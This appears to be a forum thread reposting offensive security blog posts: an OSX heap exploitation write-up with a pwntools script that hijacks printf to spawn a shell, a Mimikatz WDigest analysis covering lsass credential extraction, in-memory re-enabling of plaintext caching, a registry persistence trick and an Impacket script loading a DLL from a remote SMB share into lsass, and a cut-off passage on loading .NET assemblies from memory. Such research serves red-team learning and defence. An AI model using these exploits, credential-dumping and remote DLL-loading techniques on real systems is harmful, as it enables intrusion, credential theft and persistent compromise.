0x0000000000000000 0x7f99a6c02ba0: 0x0000000000000000 0x0000000000000000 0x7f99a6c02bb0: 0x0000000000000000 0x0000000000000000 0x7f99a6c02bc0: 0x0000000000000000 0x0000000000000000 <-- ptr3 0x7f99a6c02bd0: 0x0000000000000000 0x0000000000000000 0x7f99a6c02be0: 0x0000000000000000 0x0000000000000000 0x7f99a6c02bf0: 0x0000000000000000 0x0000000000000000 0x7f99a6c02c00: 0x0000000000000000 0x0000000000000000 <-- ptr4 0x7f99a6c02c10: 0x0000000000000000 0x0000000000000000 0x7f99a6c02c20: 0x0000000000000000 0x0000000000000000 0x7f99a6c02c30: 0x0000000000000000 0x0000000000000000 0x7f99a6c02c40: 0x0000000000000000 0x0000000000000000 <-- ptr5 0x7f99a6c02c50: 0x0000000000000000 0x0000000000000000 0x7f99a6c02c60: 0x0000000000000000 0x0000000000000000 0x7f99a6c02c70: 0x0000000000000000 0x0000000000000000 0x7f99a6c02c80: 0x0000000000000000 0x0000000000000000 <-- ptr6 0x7f99a6c02c90: 0x0000000000000000 0x0000000000000000 0x7f99a6c02ca0: 0x0000000000000000 0x0000000000000000 0x7f99a6c02cb0: 0x0000000000000000 0x0000000000000000 0x7f99a6c02cc0: 0x0000000000000000 0x0000000000000000 <-- pyt7 0x7f99a6c02cd0: 0x0000000000000000 0x0000000000000000 0x7f99a6c02ce0: 0x0000000000000000 0x0000000000000000 0x7f99a6c02cf0: 0x0000000000000000 0x0000000000000000 Break2 free(ptr3) : create metadata in ptr1. (lldbinit) x/32gx 0x7f99a6c02b40 0x7f99a6c02b40: 0xf000000000000000 0xf000000000000000 <-- ptr1 0x7f99a6c02b50: 0x0000000000000004 0x0000000000000000 0x7f99a6c02b60: 0x0000000000000000 0x0000000000000000 0x7f99a6c02b70: 0x0000000000000000 0x0004000000000000 0x7f99a6c02b80: 0x0000000000000000 0x0000000000000000 <-- ptr2 0x7f99a6c02b90: 0x0000000000000000 0x0000000000000000 0x7f99a6c02ba0: 0x0000000000000000 0x0000000000000000 0x7f99a6c02bb0: 0x0000000000000000 0x0000000000000000 0x7f99a6c02bc0: 0x0000000000000000 0x0000000000000000 <-- ptr3 0x7f99a6c02bd0: 0x0000000000000000 0x0000000000000000 0x7f99a6c02be0: 0x0000000000000000 0x0000000000000000 0x7f99a6c02bf0: 0x0000000000000000 0x0000000000000000 0x7f99a6c02c00: 0x0000000000000000 0x0000000000000000 <-- ptr4 0x7f99a6c02c10: 0x0000000000000000 0x0000000000000000 0x7f99a6c02c20: 0x0000000000000000 0x0000000000000000 0x7f99a6c02c30: 0x0000000000000000 0x0000000000000000 0x7f99a6c02c40: 0x0000000000000000 0x0000000000000000 <-- ptr5 0x7f99a6c02c50: 0x0000000000000000 0x0000000000000000 0x7f99a6c02c60: 0x0000000000000000 0x0000000000000000 0x7f99a6c02c70: 0x0000000000000000 0x0000000000000000 0x7f99a6c02c80: 0x0000000000000000 0x0000000000000000 <-- ptr6 0x7f99a6c02c90: 0x0000000000000000 0x0000000000000000 0x7f99a6c02ca0: 0x0000000000000000 0x0000000000000000 0x7f99a6c02cb0: 0x0000000000000000 0x0000000000000000 0x7f99a6c02cc0: 0x0000000000000000 0x0000000000000000 <-- pyt7 0x7f99a6c02cd0: 0x0000000000000000 0x0000000000000000 0x7f99a6c02ce0: 0x0000000000000000 0x0000000000000000 0x7f99a6c02cf0: 0x0000000000000000 0x0000000000000000 The 8 byte of ptr1 is 0xf, which is cookie. If you try to malloc at ptr1, check if cookie is a valid value in tiny_malloc_from_free_list OSX Heap’s metadata is stored as original value >> 4. And, ptr1’s size is 0x40 from 0x7f99a6c02b50 (0x04«4). Break3 free(ptr5) : update ptr1’s metadata, and create metadata in ptr3 (lldbinit) x/32gx 0x7f99a6c02b40 0x7f99a6c02b40: 0xe00007f99a6c02bc 0xf000000000000000 <-- ptr1 0x7f99a6c02b50: 0x0000000000000004 0x0000000000000000 0x7f99a6c02b60: 0x0000000000000000 0x0000000000000000 0x7f99a6c02b70: 0x0000000000000000 0x0004000000000000 0x7f99a6c02b80: 0x0000000000000000 0x0000000000000000 <-- ptr2 0x7f99a6c02b90: 0x0000000000000000 0x0000000000000000 0x7f99a6c02ba0: 0x0000000000000000 0x0000000000000000 0x7f99a6c02bb0: 0x0000000000000000 0x0000000000000000 0x7f99a6c02bc0: 0xf000000000000000 0xe00007f99a6c02b4 <-- ptr3 0x7f99a6c02bd0: 0x0000000000000004 0x0000000000000000 0x7f99a6c02be0: 0x0000000000000000 0x0000000000000000 0x7f99a6c02bf0: 0x0000000000000000 0x0004000000000000 0x7f99a6c02c00: 0x0000000000000000 0x0000000000000000 <-- ptr4 0x7f99a6c02c10: 0x0000000000000000 0x0000000000000000 0x7f99a6c02c20: 0x0000000000000000 0x0000000000000000 0x7f99a6c02c30: 0x0000000000000000 0x0000000000000000 0x7f99a6c02c40: 0x0000000000000000 0x0000000000000000 <-- ptr5 0x7f99a6c02c50: 0x0000000000000000 0x0000000000000000 0x7f99a6c02c60: 0x0000000000000000 0x0000000000000000 0x7f99a6c02c70: 0x0000000000000000 0x0000000000000000 0x7f99a6c02c80: 0x0000000000000000 0x0000000000000000 <-- ptr6 0x7f99a6c02c90: 0x0000000000000000 0x0000000000000000 0x7f99a6c02ca0: 0x0000000000000000 0x0000000000000000 0x7f99a6c02cb0: 0x0000000000000000 0x0000000000000000 0x7f99a6c02cc0: 0x0000000000000000 0x0000000000000000 <-- pyt7 0x7f99a6c02cd0: 0x0000000000000000 0x0000000000000000 0x7f99a6c02ce0: 0x0000000000000000 0x0000000000000000 0x7f99a6c02cf0: 0x0000000000000000 0x0000000000000000 ptr1’s 8bytes are updated to 0xe00007f99a6c02bc. 0xe is cookie, and 0x7f99a6c02bc0 is prev_ptr (0x7f99a6c02bc<<4). ptr3 have 0xf as cookie first 8bytes. 0xe is cookie, and 0x7f99a6c02b40 is next_ptr (0x7f99a6c02b4<<4). and ptr7,ptr8,ptr9 is located by malloc to 0x7f99a6c02c40, 0x7f99a6c02bc0, 0x7f99a6c02b40. Exploit Exploit is very simple like unsafe unlink. But, it have must 4bit brute force if you cannot leak. Here is example code : #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main(){ setvbuf(stdin,0,2,0); setvbuf(stdout,0,2,0); int *ptr1 = malloc(0x40); int *ptr2 = malloc(0x40); int *ptr3 = malloc(0x40); int *ptr4 = malloc(0x40); int *ptr5 = malloc(0x40); int *ptr6 = malloc(0x40); free(ptr1); free(ptr3); free(ptr5); printf("exit@libsystem_c.dylib : %p\n",exit); printf("main@a.out : %p\n",main); write(1,ptr3,16); int *ptr7 = malloc(0x40); read(0,ptr3,0x20); int *ptr8 = malloc(0x40); printf("\n\nFinish\n"); exit(0); } If you free the memory allocated to the tiny size, you can create a heap containing metadata, such as 0x7f99a6c02bc0: 0xf000000000000000 0xe00007f99a6c02b4. If you malloc an address that exists in the freelist, you can overwrite the value of specific address by metadata. if (next) { next->previous = ptr->previous; // <-- Here } To overwrite the value, you must know the address of target you want to overwrite. First, the example provides the address of the main address and exit, so you only need to think about what to overwrite and how to overwrite it with offset. I overwrite ‘printf’ to ‘oneshot Gadget’ to get shell. You can find the offset of the printf in _lazy_symbol_ptr. _lazy_symbol_ptr is similar to global offset table(got). __la_symbol_ptr:0000000100001028 ; Segment type: Pure data __la_symbol_ptr:0000000100001028 ; Segment alignment 'qword' can not be represented in assembly __la_symbol_ptr:0000000100001028 __la_symbol_ptr segment para public 'DATA' use64 __la_symbol_ptr:0000000100001028 assume cs:__la_symbol_ptr __la_symbol_ptr:0000000100001028 ;org 100001028h __la_symbol_ptr:0000000100001028 ; void (__cdecl __noreturn *exit_ptr)(int) __la_symbol_ptr:0000000100001028 _exit_ptr dq offset __imp__exit ; DATA XREF: _exit↑r __la_symbol_ptr:0000000100001030 ; void (__cdecl *free_ptr)(void *) __la_symbol_ptr:0000000100001030 _free_ptr dq offset __imp__free ; DATA XREF: _free↑r __la_symbol_ptr:0000000100001038 ; void *(__cdecl *malloc_ptr)(size_t) __la_symbol_ptr:0000000100001038 _malloc_ptr dq offset __imp__malloc ; DATA XREF: _malloc↑r __la_symbol_ptr:0000000100001040 ; int (*printf_ptr)(const char *, ...) __la_symbol_ptr:0000000100001040 _printf_ptr dq offset __imp__printf ; DATA XREF: _printf↑r __la_symbol_ptr:0000000100001048 ; ssize_t (__cdecl *read_ptr)(int, void *, size_t) __la_symbol_ptr:0000000100001048 _read_ptr dq offset __imp__read ; DATA XREF: _read↑r __la_symbol_ptr:0000000100001050 ; int (__cdecl *setvbuf_ptr)(FILE *, char *, int, size_t) __la_symbol_ptr:0000000100001050 _setvbuf_ptr dq offset __imp__setvbuf __la_symbol_ptr:0000000100001050 ; DATA XREF: _setvbuf↑r __la_symbol_ptr:0000000100001058 ; ssize_t (__cdecl *write_ptr)(int, const void *, size_t) __la_symbol_ptr:0000000100001058 _write_ptr dq offset __imp__write ; DATA XREF: _write↑r __la_symbol_ptr:0000000100001058 __la_symbol_ptr ends __la_symbol_ptr:0000000100001058 Oneshot gadget exists in libsystem_c.dyib, and it also gets offset. __text:000000000002573B lea rdi, aBinSh ; "/bin/sh" __text:0000000000025742 mov rsi, r14 ; char ** __text:0000000000025745 mov rdx, [rbp+var_450] ; char ** __text:000000000002574C call _execve Metadata must now be set as follows: [Arbitrary Value] [Target Address] In this case, metadata should be overwritten with [Oneshot address] [printf address]. Note that Target Address should use the printf address >> 4 value. Also, the cookie value must be zero to enter the address of the oneshot gadget. Based on this, the code is written as follows: from pwn import * for i in range(100): try: r = process('./a.out') exit = int(r.recvuntil('\n').split(' : ')[1].strip(),16) main = int(r.recvuntil('\n').split(' : ')[1].strip(),16) _lazy_printf = main - 0xD80 + 0x1040 oneshot = exit - 0x5c67c + 0x000000000002573B payload = '' payload += p64(oneshot) payload += p64(_lazy_printf >> 4) print payload.encode('hex') r.sendline(payload) r.interactive() except: r.close() If cookie is not correct, an error occurs when Malloc as shown below. ptr1 => 0x7ffcb6402b60 ptr3 => 0x7ffcb6402be0 ptr5 => 0x7ffcb6402c60 AAAAAAAAAAAAAAAAAAAAAA ptr7 => 0x7ffcb6402c60 a.out(16738,0x1160565c0) malloc: Incorrect checksum for freed object 0x7ffcb6402be8: probably modified after being freed. Corrupt value: 0x4141414141414141 a.out(16738,0x1160565c0) malloc: *** set a breakpoint in malloc_error_break to debug Abort trap: 6 When the cookie is set \x00, printf is overwritten with an oneshot gadget and you can get shell. [+] Starting local process './a.out': pid 22291 [*] Switching to interactive mode $ pwd /Users/shpik/study/osx_heap $ id uid=501(shpik) gid=20(staff) groups=20(staff),701(com.apple.sharepoint.group.1),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),501(access_bpf),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh) $ Resource https://opensource.apple.com/source/libmalloc/libmalloc-166.220.1/src/ https://www.synacktiv.com/ressources/Sthack_2018_Heapple_Pie.pdf https://papers.put.as/papers/macosx/2016/Summercon-2016.pdf Sursa: http://blog.shpik.kr/2019/OSX_Heap_Exploitation/
  22. Exploring Mimikatz - Part 1 - WDigest Posted on 10th May 2019 Tagged in low-level, mimikatz We’ve packed it, we’ve wrapped it, we’ve injected it and powershell’d it, and now we've settled on feeding it a memory dump, and still Mimikatz remains the tool of choice when extracting credentials from lsass on Windows systems. Of course this is due to the fact that with each new security control introduced by Microsoft, GentilKiwi always has a trick or two up his sleeve. If you have ever looked at the effort that goes into Mimikatz, this is no easy task, with all versions of Windows x86 and x64 supported (and more recently, additions to support Windows on ARM arch). And of course with the success of Mimikatz over the years, BlueTeam are now very adept at detecting its use in its many forms. Essentially, execute Mimikatz on a host, and if the environment has any maturity at all you’re likely to be flagged. Through my many online and offline rants conversations, people likely know by now my thoughts on RedTeam understanding their tooling beyond just executing a script. And with security vendors reducing and monitoring the attack surface of common tricks often faster than we can discover fresh methods, knowing how a particular technique works down to the API calls can offer a lot of benefits when avoiding detection in well protected environments. This being said, Mimikatz is a tool that is carried along with most post-exploitation toolkits in one form or another. And while some security vendors are monitoring for process interaction with lsass, many more have settled on attempting to identify Mimikatz itself. I've been toying with the idea of stripping down Mimikatz for certain engagements (mainly those where exfiltrating a memory dump isn't feasible or permitted), but it has been bugging me for a while that I've spent so long working with a tool that I've rarely reviewed low-level. So over a few posts I wanted to change this and explore some of its magic, starting with where it all began.... WDigest. Specifically, looking at how cleartext credentials are actually cached in lsass, and how they are extracted out of memory with "sekurlsa::wdigest". This will mean disassembly and debugging, but hopefully by the end you will see that while its difficult to duplicate the amount of effort that has gone into Mimikatz, if your aim is to only use a small portion of the available functionality, it may be worth crafting a custom tool based on the Mimikatz source code, rather than opting to take along the full suite. To finish off the post I will also explore some additional methods of loading arbitrary DLL's within lsass, which can hopefully be combined with the code examples demonstrated. Note: This post uses Mimikatz source code heavily as well as the countless hours dedicated to it by its developer(s). This effort should become more apparent as you see undocumented structures which are suddenly revealed when browsing through code. Thanks to Mimikatz, Benjamin Delpy and Vincent Le Toux for their awesome work. So, how does this "sekurlsa::wdigest" magic actually work? So as mentioned, in this post we will look at is WDigest, arguably the feature that Mimikatz became most famous for. WDigest credential caching was of course enabled by default up until Windows Server 2008 R2, after which caching of plain-text credentials was disabled. When reversing an OS component, I usually like to attach a debugger and review how it interacts with the OS during runtime. Unfortunately in this case this isn’t going to be just as simple as attaching WinDBG to lsass, as pretty quickly you’ll see Windows grind to a halt before warning you of a pending reboot. Instead we’ll have to attach to the kernel and switch over to the lsass process from Ring-0. If you have never attached WinDBG to the kernel before, check out one of my previous posts on how to go about setting up a kernel debugger here. With a kernel debugger attached, we need to grab the EPROCESS address of the lsass process, which is found with the !process 0 0 lsass.exe command: With the EPROCESS address identified (ffff9d01325a7080 above), we can request that our debug session is switched to the lsass process context: A simple lm will show that we now have access to the WDigest DLL memory space: If at this point you find that symbols are not processed correctly, a .reload /user will normally help. With the debugger attached, let's dig into WDigest. Diving into wdigest.dll (and a little lsasrv.dll) If we look at Mimikatz source code, we can see that the process of identifying credentials in memory is to scan for signatures. Let’s take the opportunity to use a tool which appears to be in vogue at the minute, Ghidra, and see what Mimikatz is hunting for. As I’m currently working on Windows 10 x64, I'll focus on the PTRN_WIN6_PasswdSet signature seen below: After providing this search signature to Ghidra, we reveal what Mimikatz is scanning memory for: Above we have the function LogSessHandlerPasswdSet. Specifically the signature references just beyond the l_LogSessList pointer. This pointer is key to extracting credentials from WDigest, but before we get ahead of ourselves, let’s back up and figure out what exactly is calling this function by checking for cross references, which lands us here: Here we have SpAcceptCredentials which is an exported function from WDigest.dll, but what does this do? This looks promising as we can see that credentials are passed via this callback function. Let’s confirm that we are in the right place. In WinDBG we can add a breakpoint with bp wdigest!SpAcceptCredentials after which we use the runas command on Windows to spawn a shell: This should be enough to trigger the breakpoint. Inspecting the arguments to the call, we can now see credentials being passed in: If we continue with our execution and add another breakpoint on wdigest!LogSessHandlerPasswdSet, we find that although our username is passed, a parameter representing our password cannot be seen. However, if we look just before the call to LogSessHandlerPasswdSet, what we find is this: This is actually a stub used for Control Flow Guard (Ghidra 9.0.3 looks like it has an improvement for displaying CFG stubs), but following along in a debugger shows us that the call is actually to LsaProtectMemory: This is expected as we know that credentials are stored encrypted within memory. Unfortunately LsaProtectMemory isn't exposed outside of lsass, so we need to know how we can recreate its functionality to decrypt extracted credentials. Following with our disassembler shows that this call is actually just a wrapper around LsaEncryptMemory: And LsaEncryptMemory is actually just wrapping calls to BCryptEncrypt: Interestingly, the encryption/decryption function is chosen based on the length of the provided blob of data to be encrypted. If the length of the buffer provided is divisible by 8 (donated by the "param_2 & 7" bitwise operation in the screenshot above), then AES is used. Failing this, 3Des is used. So we now know that our password is encrypted by BCryptEncrypt, but what about the key? Well if we look above, we actually see references to lsasrv!h3DesKey and lsasrv!hAesKey. Tracing references to these addresses shows that lsasrv!LsaInitializeProtectedMemory is used to assign each an initial value. Specifically each key is generated based on calls to BCryptGenRandom: This means that a new key is generated randomly each time lsass starts, which will have to be extracted before we can decrypt any cached WDigest credentials. Back to the Mimikatz source code to confirm that we are not going too far off track, we see that there is indeed a hunt for the LsaInitializeProtectedMemory function, again with a comprehensive list of signatures for differing Windows versions and architectures: And if we search for this within Ghidra, we see that it lands us here: Here we see a reference to the hAesKey address. So, similar to the above signature search, Mimikatz is hunting for cryptokeys in memory. Next we need to understand just how Mimikatz goes about pulling the keys out of memory. For this we need to refer to kuhl_m_sekurlsa_nt6_acquireKey within Mimikatz, which highlights the lengths that this tool goes to in supporting different OS versions. We see that hAesKey and h3DesKey (which are of the type BCRYPT_KEY_HANDLE returned from BCryptGenerateSymmetricKey) actually point to a struct in memory consisting of fields including the generated symmetric AES and 3DES keys. This struct can be found documented within Mimikatz: typedef struct _KIWI_BCRYPT_HANDLE_KEY { ULONG size; ULONG tag; // 'UUUR' PVOID hAlgorithm; PKIWI_BCRYPT_KEY key; PVOID unk0; } KIWI_BCRYPT_HANDLE_KEY, *PKIWI_BCRYPT_HANDLE_KEY; We can correlate this with WinDBG to make sure we are on the right path by checking for the "UUUR" tag referenced above: At offset 0x10 we see that Mimikatz is referencing PKIWI_BCRYPT_KEY which has the following structure: typedef struct _KIWI_BCRYPT_KEY81 { ULONG size; ULONG tag; // 'MSSK' ULONG type; ULONG unk0; ULONG unk1; ULONG unk2; ULONG unk3; ULONG unk4; PVOID unk5; // before, align in x64 ULONG unk6; ULONG unk7; ULONG unk8; ULONG unk9; KIWI_HARD_KEY hardkey; } KIWI_BCRYPT_KEY81, *PKIWI_BCRYPT_KEY81; And sure enough, following along with WinDBG reveals the same referenced tag: The final member of this struct is a reference to the Mimikatz named KIWI_HARD_KEY, which contains the following: typedef struct _KIWI_HARD_KEY { ULONG cbSecret; BYTE data[ANYSIZE_ARRAY]; // etc... } KIWI_HARD_KEY, *PKIWI_HARD_KEY; This struct consists of the the size of the key as cbSecret, followed by the actual key within the data field. This means we can use WinDBG to extract this key with: This gives us our h3DesKey which is 0x18 bytes long consisting of b9 a8 b6 10 ee 85 f3 4f d3 cb 50 a6 a4 88 dc 6e ee b3 88 68 32 9a ec 5a. Knowing this, we can follow the same process to extract hAesKey: Now that we understand just how keys are extracted, we need to hunt for the actual credentials cached by WDigest. Let's go back to the l_LogSessList pointer we discussed earlier. This field corresponds to a linked list, which we can walk through using the WinDBG command !list -x "dq @$extret" poi(wdigest!l_LogSessList): The structure of these entries contain the following fields: typedef struct _KIWI_WDIGEST_LIST_ENTRY { struct _KIWI_WDIGEST_LIST_ENTRY *Flink; struct _KIWI_WDIGEST_LIST_ENTRY *Blink; ULONG UsageCount; struct _KIWI_WDIGEST_LIST_ENTRY *This; LUID LocallyUniqueIdentifier; } KIWI_WDIGEST_LIST_ENTRY, *PKIWI_WDIGEST_LIST_ENTRY; Following this struct are three LSA_UNICODE_STRING fields found at the following offsets: 0x30 - Username 0x40 - Hostname 0x50 - Encrypted Password Again we can check that we are on the right path with WinDBG using a command such as: !list -x "dS @$extret+0x30" poi(wdigest!l_LogSessList) This will dump cached usernames as: And finally we can dump encrypted password using a similar command: !list -x "db poi(@$extret+0x58)" poi(wdigest!l_LogSessList) And there we have it, all the pieces required to extract WDigest credentials from memory. So now that we have all the information needed for the extraction and decryption process, how feasible would it be to piece this together into a small standalone tool outside of Mimikatz? To explore this I've created a heavily commented POC which is available here. When executed on Windows 10 x64 (build 1809), it provides verbose information on the process of extracting creds: By no means should this be considered OpSec safe, but it will hopefully give an example of how we can go about crafting alternative tooling. Now that we understand how WDigest cached credentials are grabbed and decrypted, we can move onto another area affecting the collection of plain-text credentials, "UseLogonCredential". But UseLogonCredential is 0 So as we know, with everyone running around dumping cleartext credentials, Microsoft decided to disable support for this legacy protocol by default. Of course there will be some users who may be using WDigest, so to provide the option of re-enabling this, Microsoft pointed to a registry key of HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential. Toggling this from ‘0’ to ‘1’ forces WDigest to start caching credentials again, which of course meant that pentesters were back in the game… however there was a catch, toggling this setting required a reboot of the OS, and I've yet to meet a client who would allow this outside of a test environment. The obvious question is... why do you need to reboot the machine for this to take effect? Edit: As pointed out by GentilKiwi, a reboot isn't required for this change to take effect. I've added a review of why this is at the end of this section. Let’s take a look at SpAcceptCredentials again, and after a bit of hunting we find this: Here we can clearly see that there is a check for two conditions using global variables. If g_IsCredGuardEnabled is set to 1, or g_fParameter_UseLogonCredential is set to 0, we find that the code path taken is via LogSessHandlerNoPasswordInsert rather than the above LogSessHandlerPasswdSet call. As the name suggests, this function caches the session but not the password, resulting in the behaviour we normally encounter when popping Windows 2012+ boxes. It’s therefore reasonable to assume that this variable is controlled by the above registry key value based on its name, and we find this to be the case by tracing its assignment: By understanding what variables within WDigest.dll control credential caching, can we subvert this without updating the registry? What if we update that g_fParameter_UseLogonCredential parameter during runtime with our debugger? Resuming execution, we see that cached credentials are stored again: Of course most things are possible when you have a kernel debugger hooked up, but if you have a way to manipulate lsass memory without triggering AV/EDR (see our earlier Cylance blog post for one example of how you would do this), then there is nothing stopping you from crafting a tool to manipulate this variable. Again I've created a heavily verbose tool to demonstrate how this can be done which can be found here. This example will hunt for and update the g_fParameter_UseLogonCredential value in memory. If you are operating against a system protected with Credential Guard, the modifications required to also update this value are trivial and left as an exercise to the reader. With our POC executed, we find that WDigest has now been re-enabled without having to set the registry key, allowing us to pull out credentials as they are cached: Again this POC should not be considered as OpSec safe, but used as a verbose example of how you can craft your own. Now of course this method of enabling WDigest comes with risks, mainly the WriteProcessMemory call into lsass, but if suited to the environment it offers a nice way to enable WDigest without setting a registry value. There are also other methods of acquiring plain-text credentials which may be more suited to your target outside of WDigest (memssp for one, which we will review in a further post). Edit: As pointed out by GentilKiwi, a reboot is not required for UseLogonCredential to take effect... so back to the disassembler we go. Reviewing other locations referencing the registry value, we find wdigest!DigestWatchParamKey which monitors a number of keys including: The Win32 API used to trigger this function on update is RegNotifyKeyChangeValue: And if we add a breakpoint on wdigest!DigestWatchParamKey in WinDBG, we see that this is triggered as we attempt to add a UseLogonCredential: Bonus Round - Loading an arbitrary DLL into LSASS So while digging around with a disassemler I wanted to look for an alternative way to load code into lsass while avoiding potentially hooked Win32 API calls, or by loading an SSP. After a bit of disassembly, I came across the following within lsasrv.dll: This attempt to call LoadLibraryExW on a user provided value can be found within the function LsapLoadLsaDbExtensionDll and allows us to craft a DLL to be loaded into the lsass process, for example: BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: // Insert l33t payload here break; } // Important to avoid BSOD return FALSE; } It is important that at the end of the DllMain function, we return FALSE to force an error on LoadLibraryEx. This is to avoid the subsequent call to GetProcAddress. Failing to do this will result in a BSOD on reboot until the DLL or registry key is removed. With a DLL crafted, all that we then need to do is create the above registry key: New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NTDS -Name LsaDbExtPt -Value "C:\xpnsec.dll" Loading of the DLL will occur on system reboot, which makes it a potential persistence technique for privileged compromises, pushing your payload straight into lsass (as long as PPL isn't enabled of course). Bonus Round 2 - Loading arbitrary DLL into LSASS remotely After some further hunting, a similar vector to that above was found within samsrv.dll. Again a controlled registry value is loaded into lsass by a LoadLibraryEx call: Again we can leverage this by adding a registry key and rebooting, however triggering this case is a lot simpler as it can be fired using SAMR RPC calls. Let's have a bit of fun by using our above WDigest credential extraction code to craft a DLL which will dump credentials for us. To load our DLL, we can use a very simple Impacket Python script to modify the registry and add a key to HKLM\SYSTEM\CurrentControlSet\Services\NTDS\DirectoryServiceExtPt pointing to our DLL hosted on an open SMB share, and then trigger the loading of the DLL using a call to hSamConnect RPC call. The code looks like this: from impacket.dcerpc.v5 import transport, rrp, scmr, rpcrt, samr from impacket.smbconnection import SMBConnection def trigger_samr(remoteHost, username, password? print("[*] Connecting to SAMR RPC service") try: rpctransport = transport.SMBTransport(remoteHost, 445, r'\samr', username, password, "", "", "", "") dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(samr.MSRPC_UUID_SAMR) except (Exception) as e: print("[x] Error binding to SAMR: %s" % e) return print("[*] Connection established, triggering SamrConnect to force load the added DLL") # Trigger samr.hSamrConnect(dce) print("[*] Triggered, DLL should have been executed...") def start(remoteName, remoteHost, username, password, dllPath? winreg_bind = r'ncacn_np:445[\pipe\winreg]' hRootKey = None subkey = None rrpclient = None print("[*] Connecting to remote registry") try: rpctransport = transport.SMBTransport(remoteHost, 445, r'\winreg', username, password, "", "", "", "") except (Exception) as e: print("[x] Error establishing SMB connection: %s" % e) return try: # Set up winreg RPC rrpclient = rpctransport.get_dce_rpc() rrpclient.connect() rrpclient.bind(rrp.MSRPC_UUID_RRP) except (Exception) as e: print("[x] Error binding to remote registry: %s" % e) return print("[*] Connection established") print("[*] Adding new value to SYSTEM\\CurrentControlSet\\Services\\NTDS\\DirectoryServiceExtPtr") try: # Add a new registry key ans = rrp.hOpenLocalMachine(rrpclient) hRootKey = ans['phKey'] subkey = rrp.hBaseRegOpenKey(rrpclient, hRootKey, "SYSTEM\\CurrentControlSet\\Services\\NTDS") rrp.hBaseRegSetValue(rrpclient, subkey["phkResult"], "DirectoryServiceExtPt", 1, dllPath) except (Exception) as e: print("[x] Error communicating with remote registry: %s" % e) return print("[*] Registry value created, DLL will be loaded from %s" % (dllPath)) trigger_samr(remoteHost, username, password) print("[*] Removing registry entry") try: rrp.hBaseRegDeleteValue(rrpclient, subkey["phkResult"], "DirectoryServiceExtPt") except (Exception) as e: print("[x] Error deleting from remote registry: %s" % e) return print("[*] All done") print("LSASS DirectoryServiceExtPt POC\n @_xpn_\n") start("192.168.0.111", "192.168.0.111", "test", "wibble", "\\\\opensharehost\\ntds\\legit.dll") view raw DirectoryServiceExtPtr_poc.py hosted with ❤ by GitHub And in practice, we can see credentials pulled from memory: The code for the DLL used can be found here, which is a modification of the earlier example. So hopefully this post has given you an idea as to how WDigest credential caching works and how Mimikatz goes about pulling and decrypting passwords during "sekurlsa::wdigest". More importantly I hope that it will help anyone looking to craft something custom for their next assessment. I'll be continuing by looking at other areas which are commonly used during an engagement, but if you have any questions or suggestions, give me a shout at the usual places. Sursa: https://blog.xpnsec.com/exploring-mimikatz-part-1/
  23. Shellcode: Loading .NET Assemblies From Memory Posted on May 10, 2019 by odzhan Introduction The dot net Framework can be found on almost every device running Microsoft Windows. It is popular among professionals involved in both attacking (Red Team) and defending (Blue Team) a Windows-based device. In 2015, the Antimalware Scan Interface (AMSI) was integrated with various Windows components used to execute scripts (VBScript, JScript, PowerShell). Around the same time, enhanced logging or Script Block Logging was added to PowerShell that allows capturing the full contents of scripts being executed, thereby defeating any obfuscation used. To remain ahead of blue teams, red teams had to go another layer deeper into the dot net framework by using assemblies. Typically written in C#, assemblies provide red teams with all the functionality of PowerShell, but with the distinct advantage of loading and executing entirely from memory. In this post, I will briefly discuss a tool called Donut, that when given a .NET assembly, class name, method, and optional parameters, will generate a position-independent code (PIC) or shellcode that can load a .NET assembly from memory. The project was a collaborative effort between myself and TheWover who has blogged about donut here. Common Language Runtime (CLR) Hosting Interfaces The CLR is the virtual machine component while the ICorRuntimeHost interface available since v1.0 of the framework (released in 2002) facilitates hosting .NET assemblies. This interface was superseded by ICLRRuntimeHost when v2.0 of the framework was released in 2006, and this was superseded by ICLRMetaHost when v4.0 of the framework was released in 2009. Although deprecated, ICorRuntimeHost currently provides the easiest way to load assemblies from memory. There are a variety of ways to instantiate this interface, but the most popular appears to be through one of the following: CoInitializeEx and CoCreateInstance CorBindToRuntime or CorBindToRuntimeEx CLRCreateInstance and ICLRRuntimeInfo CorBindToRuntime and CorBindToRuntimeEx functions perform the same operation, but the CorBindToRuntimeEx function allows us to specify the behavior of the CLR. CLRCreateInstance avoids having to initialize Component Object Model (COM) but is not implemented prior to v4.0 of the framework. The following code in C++ demonstrates running a dot net assembly from memory. #include <windows.h> #include <oleauto.h> #include <mscoree.h> #include <comdef.h> #include <cstdio> #include <cstdint> #include <cstring> #include <cstdlib> #include <sys/stat.h> #import "mscorlib.tlb" raw_interfaces_only void rundotnet(void *code, size_t len) { HRESULT hr; ICorRuntimeHost *icrh; IUnknownPtr iu; mscorlib::_AppDomainPtr ad; mscorlib::_AssemblyPtr as; mscorlib::_MethodInfoPtr mi; VARIANT v1, v2; SAFEARRAY *sa; SAFEARRAYBOUND sab; printf("CoCreateInstance(ICorRuntimeHost).\n"); hr = CoInitializeEx(NULL, COINIT_MULTITHREADED); hr = CoCreateInstance( CLSID_CorRuntimeHost, NULL, CLSCTX_ALL, IID_ICorRuntimeHost, (LPVOID*)&icrh); if(FAILED(hr)) return; printf("ICorRuntimeHost::Start()\n"); hr = icrh->Start(); if(SUCCEEDED(hr)) { printf("ICorRuntimeHost::GetDefaultDomain()\n"); hr = icrh->GetDefaultDomain(&iu); if(SUCCEEDED(hr)) { printf("IUnknown::QueryInterface()\n"); hr = iu->QueryInterface(IID_PPV_ARGS(&ad)); if(SUCCEEDED(hr)) { sab.lLbound = 0; sab.cElements = len; printf("SafeArrayCreate()\n"); sa = SafeArrayCreate(VT_UI1, 1, &sab); if(sa != NULL) { CopyMemory(sa->pvData, code, len); printf("AppDomain::Load_3()\n"); hr = ad->Load_3(sa, &as); if(SUCCEEDED(hr)) { printf("Assembly::get_EntryPoint()\n"); hr = as->get_EntryPoint(&mi); if(SUCCEEDED(hr)) { v1.vt = VT_NULL; v1.plVal = NULL; printf("MethodInfo::Invoke_3()\n"); hr = mi->Invoke_3(v1, NULL, &v2); mi->Release(); } as->Release(); } 